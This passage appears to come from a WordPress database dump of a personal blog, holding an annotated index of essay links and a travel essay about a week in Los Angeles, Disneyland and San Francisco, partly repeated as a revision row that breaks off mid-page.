data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2025-07-03 19:14:10','2025-07-03 19:14:10','',22,'https://trevorklee.com/?p=475',0,'revision','',0),
(476,1,'2025-07-03 19:15:26','2025-07-03 19:15:26','<!-- wp:paragraph -->\n<p><em>About a week ago, I came back from a weeklong trip to California with my girlfriend. We got in at night in LA, spent a day at Disneyland in Anaheim, spent a day driving from LA to SF, and then spent 5 days in SF. Although this was far from being my first time in California, it was her first time, so I enjoyed playing the tour guide. Here are some of my thoughts.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1 class=\"wp-block-heading\">Los Angeles</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. It’s impossible to make generalizations about Los Angeles. It’s a sprawling network of disconnected “neighborhoods” (really minicities) connected by endless mega highways. My girlfriend’s friends, recent immigrants to LA who we met up with, told us, “It’s important to think of LA not as a city but as a failed experiment by the car companies”. They told us that all friendships in LA are defined by (and frequently ended by) how far you have to travel to the other person by car.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. That being said, we visited her friends in Manhattan Beach for dinner, and that seemed nice, albeit a hassle to get to from Anaheim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1 class=\"wp-block-heading\">Anaheim</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. Anaheim is somewhere between its own city and a suburb of Los Angeles. It’s also where Disneyland is. As far as I can tell, these are the only important facts about Anaheim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Downtown Anaheim is boring and drab. The suburbs of Anaheim, where we were staying (and which were located very close to downtown Anaheim), were pretty and walkable, with a lot of well-maintained gardens and surprisingly good bird-watching. Walkable, that is, until you tried to leave the suburban subdivision, at which point you were assaulted by a 6-lane highway sparsely decorated with crosswalks. We found that out the hard way when we tried to walk to a diner that was supposedly a mile away and took us 45 minutes to get to<a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-1-147148821\">1</a>. We drove to go anywhere for the rest of our time in Anaheim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1 class=\"wp-block-heading\">Disneyland</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. Listen, I like Disneyland (and Disney World). I’m not a Disney adult, and I do think there are other places in the world that one can visit on vacation, but I like it. And, for the record, my girlfriend, who expected to hate it, liked it as well. FAQs below:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a.&nbsp;<em>Is it crazy expensive?</em>&nbsp;Yes, it’s $183 per person per day.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b.&nbsp;<em>Is it a prime example of Umberto Eco’s hyperreality, in which every possible cultural touchmark (cowboys, Star Wars, 50s Americana, fairytale fantasy) is turned up to 200 and shoved in your face?</em>&nbsp;Yes, but you just gotta open your mouth, accept what Walt is serving you, and enjoy the sugar rush.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c.&nbsp;<em>Is the food terrible?</em>&nbsp;No, a lot of it is just mediocre and overpriced.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d.&nbsp;<em>What rides are worth going on?&nbsp;</em>First of all, I want to say that there’s a mistaken assumption in that question. Disneyland excels at creating a wonderful experience between the rides, from street performances to cute architectural details to fun little shops. One of my favorite experiences from my recent trip was dancing with my girlfriend to a New Orleans style brass band that was playing outside of a restaurant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, “Star Wars: Rise of the Resistance” has incredibly good special effects, to the point where my girlfriend thought one of the animatronics was a human actor in a costume. “Indiana Jones” is also pretty fun, but I would say that a ride with limited drops and sharp turns is not the same as a ride with no drops or sharp turns, and you should probably warn your girlfriend before you go on said ride. My bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!klBk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcaea718-7f50-46f8-98c1-e8bfa714f934_1024x1024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!klBk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcaea718-7f50-46f8-98c1-e8bfa714f934_1024x1024.png\" alt=\"Image\" title=\"Image\"/></a><figcaption class=\"wp-element-caption\">Tried to make a header image of Disneyland in Dall-E because I don’t have any good photos from my trip. One day I’ll learn how to take semi-decent photographs.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>e. What rides are not worth going on?&nbsp;</em>“Small World” is a nightmare consisting of a bunch of puppets singing a cloying song over and over again<a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-2-147148821\">2</a>. Seriously, it’s awful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>f.&nbsp;<em>How would you describe your fellow Disneyland guests?</em>&nbsp;So American it makes your teeth hurt, especially when they’re not. Let me explain: there is nothing more American than a bunch of German tourists wearing matching Disneyland t-shirts sipping Disneyland’s balkanized take on mint juleps, featuring insane amounts of sugar and zero alcohol. It’s a complete cultural victory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>g.&nbsp;<em>Would you go again?&nbsp;</em>I mean, yes, if I was in the area, but I’ve also been to Disney World multiple times, including just to travel around the Epcot “World Fair” and get progressively more drunk at each country’s food cart, so I can’t pretend to be a disinterested reviewer. I wouldn’t travel to it specifically, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1 class=\"wp-block-heading\">The Drive from LA to SF</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. This is a longer drive than you are anticipating. It’s 11 hours if you take the scenic route along the coast, 7ish hours if you take the non scenic route through the middle of California. We did a mix of routes because part of the scenic route was closed off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. The scenic route is quite scenic. There are mountains and views of the ocean and surfers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. The non scenic route is non scenic. There are endless stretches of highway being baked by the merciless California sun with no wind in sight, and the only friendly faces are the giant cutouts of vineyard farmers that dot the landscape (I don’t know why they’re there either). This is the California of the&nbsp;<em>Grapes of Wrath</em>, and these grapes are angry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. The middle of California has a bunch of Republican Mexicans, which is a demographic that is not well-represented in media. They are pro-gun, pro-Trump, pro-Christianity, and anti-immigrant, even though (or maybe because) they are very recent immigrants themselves. From our brief meal in a Republican Mexican diner, I can also say they appear to be aggressively hospitable, and will fill up your cup of coffee for your endless refill whether you want them to or not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1 class=\"wp-block-heading\">San Francisco</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. Oh, San Francisco. city of contradictions, how I love thee. You are the most extreme city I’ve ever been to. Your people are incredibly kind, generous, and will break into your car if there’s anything in the back seat. Your parks are gorgeous and often full of trash. Your public transportation is safe and functional except for the homeless people who board with large pitbulls who have a possessive attitude towards other people’s crotches. Your sidewalks are eminently walkable as long as one keeps an eye out for poop and needles.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. We stayed in Downtown San Francisco at the cheapest hotel I could find that also looked to be safe and well-run. I grew to appreciate the “safe and well-run” part, as, right before I got there, a news story broke out about an Australian guy who was in SF on a business trip and was staying at a cheaper, more dangerous motel. Apparently, when he was walking back to his motel at 11 pm one night, he got mugged and left for dead on the sidewalk. He was found with a fractured skull and nothing in his pockets by a passerby, taken to the Chan-Zuckerberg hospital, and not identified for 3 days<a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-3-147148821\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. That being said, “safe and well-run” is relative. We had to move rooms because our first room had bloodstains on the wall from someone injecting drugs and then flicking the blood afterwards (don’t ask me how I know what that looks like). Our second room also had those stains, but less noticeably. And, on our final day, we had a tough time checking out of the hotel because the hotel staff were all in a tizzy because a guest of a guest at the hotel kept freaking out at everyone in the hotel and trying to hit them with his phone, which was like an old school brick cell phone. Our checkout process was repeatedly interrupted by the clerk being on the phone with the SFPD and saying, “No, you don’t get it, he will hurt someone if you don’t come here.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Downtown San Francisco may have the world’s most security-guarded up department store, a Ross Dress for Less. There were 6 security guards in the store at all times, and they only allowed a limited number of people in the store at any one time. Shoplifting is a serious issue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Despite all the struggles of doing retail in San Francisco, San Francisco has incredible food and coffee. Seriously. I don’t know why it’s so good but it is. I highly, highly recommend the SPRO chain. To give you an idea of how good it is, their dog menu has Alaskan Salmon and coconut water. Their dog menu!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. SF also has great thrifting, including many genuine leather jackets and fur coats. Unfortunately, it’s pretty difficult to find an actual good thrifting deal there, as the thrift store people often look up the items online and price them appropriately. Also, beware of the AIDS Healthcare Foundation thrift store. Not that it’s a bad thrift store, but the profits don’t actually go towards AIDS healthcare, but instead towards lobbying against building new buildings in San Francisco. This is what San Francisco is like.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. San Francisco is temperate year round, compact, is built on a hill overlooking a bay, and, as far as I can tell, had zero rules for architecture when most of it was built. This makes walking exceedingly pleasant, as views abound and there’s always another weird architectural masterpiece around another corner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8. The only thing that mars the walking experience is the number of people on the sidewalks that are in the worst state you have ever seen, along with the trash they bring with them and the functional humans who profit off their misery. This is especially bad in the Tenderloin neighborhood (which happens to be in the center of SF and difficult to avoid), but is bad everywhere.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, in the Tenderloin, you can get a pretty good croissant and coffee, then walk outside to see 5 guys standing on a corner who are obviously drug dealers. The sidewalk across the street has an open air black market with druggies selling 15 bottles of shoplifted laundry detergent next to other druggies smoking meth next to other druggies covered in feces and injecting themselves into clearly septic legs and arms with open, oozing sores. All of this is accented by the worst smell you’ve ever smelled in your life, of human waste baked in the sun. Sprinkled throughout this bazaar of crime, misery, and filth are “City Ambassadors”, who are employed by the city to, um, say hi to the druggies? It’s not clear. At least the city also employs other people to pressure wash the streets each morning so they’re clean-ish, although they rapidly get dirty again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fairness to SF, they are supposedly making an effort to clean this up now that the Supreme Court has ruled they can force people off the streets. We’ll see.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>9. Oh right, the other thing that mars the walking experience are the insane people on the sidewalk, who form a Venn diagram with the druggies. They will follow you, shout at you, and threaten you, especially if you are a woman. It is unclear what they are getting out of this, but they seem to be having a good time, and the cops don’t seem to care.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>10. SF has self-driving rideshares everywhere (Waymos), which work remarkably well and are only about 50% more than an Uber. They drive really well, especially considering that SF has crazy people in the streets, some of whom own cars.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>11. In SF, you can take a self-driving car and listen to soft jazz past incredibly messed up, drugged out people and it feels incredibly cyberpunk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>12. The SF social scene is incredibly flat and open in the best way. I emailed multiple people I’ve never met before, including serious people running serious bio startups, and asked them to meet with me and my girlfriend for lunch to discuss what science is like outside of academia, as my girlfriend is a postdoc considering her next moves. And they did! Just to be nice! That’s awesome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The contradiction with Boston is pretty stark, too. I have been in Boston close to 10 years and I have still not broken into the Boston bio or tech scene in any meaningful way. I rarely get invited to industry parties or events. In SF, I literally got invited to two bio-adjacent parties the random week I showed up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>13. SF is blessed with so much natural and manmade beauty it’s obscene. The architecture is amazing; the shops are adorable; the parks are incredible. I mean, at one point, we were hiking by the Golden Gate Bridge, looked across a hill of flowers into the Bay, and saw a whale breach. This was like 5 minutes from a pretty central bus stop. That’s insane.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>14. I can’t wait to go back.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-anchor-1-147148821\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The diner was called the “Black Bear Diner”. We thought it was a cute neighborhood diner, until I looked at the menu (which was cutely done up to look like a newspaper) and realized they had over 100 locations. Despite this, the food was pretty good by diner standards. This is where we got introduced to a surprisingly common California custom of paying your bill at the cash register (instead of the waiter taking your card), which I quite like.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, one thing that I thought was really funny was the newspaper/menu claiming the founders “just wanted a place where their friends could hang out and were surprised to find others liked it too”, and then seeing that they expanded to 5 locations in as many years after founding. “Aw shucks family dining” meets “aggressively tapping private market financing for debt fueled growth”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-anchor-2-147148821\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although I had a truly great moment on the ride. The point of Small World is each group of puppets is supposed to represent a different region. In the India region, some of the puppets were dancing and isolating their heads from their bodies. My girlfriend said, “I always find that isolation really impressive,” and I said, “You mean like this?” and did it for her, as that was a trick I learned in my breakdancing days. I have brought this exchange up to her like 5 times since then.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-anchor-3-147148821\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once this story went viral, the SF Police Department complicated the story by claiming the guy wasn’t mugged and his identification wasn’t stolen, but I don’t believe them as it doesn’t make sense how he would have had a fractured skull or gone missing for 3 days otherwise. Plus, I assume SFPD is generally incompetent, judging by the state of the city, so I’d have a hard time trusting them about anything.</p>\n<!-- /wp:paragraph -->','Thoughts on California from a brief visit','','publish','closed','closed','','thoughts-on-california-from-a-brief-visit','','','2025-07-03 19:15:26','2025-07-03 19:15:26','',0,'https://trevorklee.com/?page_id=476',0,'page','',0),
(477,1,'2025-07-03 19:15:26','2025-07-03 19:15:26','<!-- wp:paragraph -->\n<p><em>About a week ago, I came back from a weeklong trip to California with my girlfriend. We got in at night in LA, spent a day at Disneyland in Anaheim, spent a day driving from LA to SF, and then spent 5 days in SF. Although this was far from being my first time in California, it was her first time, so I enjoyed playing the tour guide. Here are some of my thoughts.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1 class=\"wp-block-heading\">Los Angeles</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. It’s impossible to make generalizations about Los Angeles. It’s a sprawling network of disconnected “neighborhoods” (really minicities) connected by endless mega highways. My girlfriend’s friends, recent immigrants to LA who we met up with, told us, “It’s important to think of LA not as a city but as a failed experiment by the car companies”. They told us that all friendships in LA are defined by (and frequently ended by) how far you have to travel to the other person by car.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. That being said, we visited her friends in Manhattan Beach for dinner, and that seemed nice, albeit a hassle to get to from Anaheim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1 class=\"wp-block-heading\">Anaheim</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. Anaheim is somewhere between its own city and a suburb of Los Angeles. It’s also where Disneyland is. As far as I can tell, these are the only important facts about Anaheim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Downtown Anaheim is boring and drab. The suburbs of Anaheim, where we were staying (and which were located very close to downtown Anaheim), were pretty and walkable, with a lot of well-maintained gardens and surprisingly good bird-watching. Walkable, that is, until you tried to leave the suburban subdivision, at which point you were assaulted by a 6-lane highway sparsely decorated with crosswalks. We found that out the hard way when we tried to walk to a diner that was supposedly a mile away and took us 45 minutes to get to<a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief#footnote-1-147148821\">1</a>. We drove to go anywhere for the rest of our time in Anaheim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1 class=\"wp-block-heading\">Disneyland</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. Listen, I like Disneyland (and Disney World). I’m not a Disney adult, and I do think there are other places in the world that one can visit on vacation, but I like it. And, for the record, my girlfriend, who expected to hate it, liked it as well. FAQs below:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a.&nbsp;<em>Is it crazy expensive?</em>&nbsp;Yes, it’s $183 per person per day.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b.&nbsp;<em>Is it a prime example of Umberto Eco’s hyperreality, in which every possible cultural touchmark (cowboys, Star Wars, 50s Americana, fairytale fantasy) is turned up to 200 and shoved in your face?</em>&nbsp;Yes, but you just gotta open your mouth, accept what Walt is serving you, and enjoy the sugar rush.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c.&nbsp;<em>Is the food terrible?</em>&nbsp;No, a lot of it is just mediocre and overpriced.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d.&nbsp;<em>What rides are worth going on?&nbsp;</em>First of all, I want to say that there’s a mistaken assumption in that question. Disneyland excels at creating a wonderful experience between the rides, from street performances to cute architectural details to fun little shops. One of my favorite experiences from my recent trip was dancing with my girlfriend to a New Orleans style brass band that was playing outside of a restaurant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, “Star Wars: Rise of the Resistance” has incredibly good special effects, to the point where my girlfriend thought one of the animatronics was a human actor in a costume. “Indiana Jones” is also pretty fun, but I would say that a ride with limited drops and sharp turns is not the same as a ride with no drops or sharp turns, and you should probably warn your girlfriend before you go on said ride. My bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure 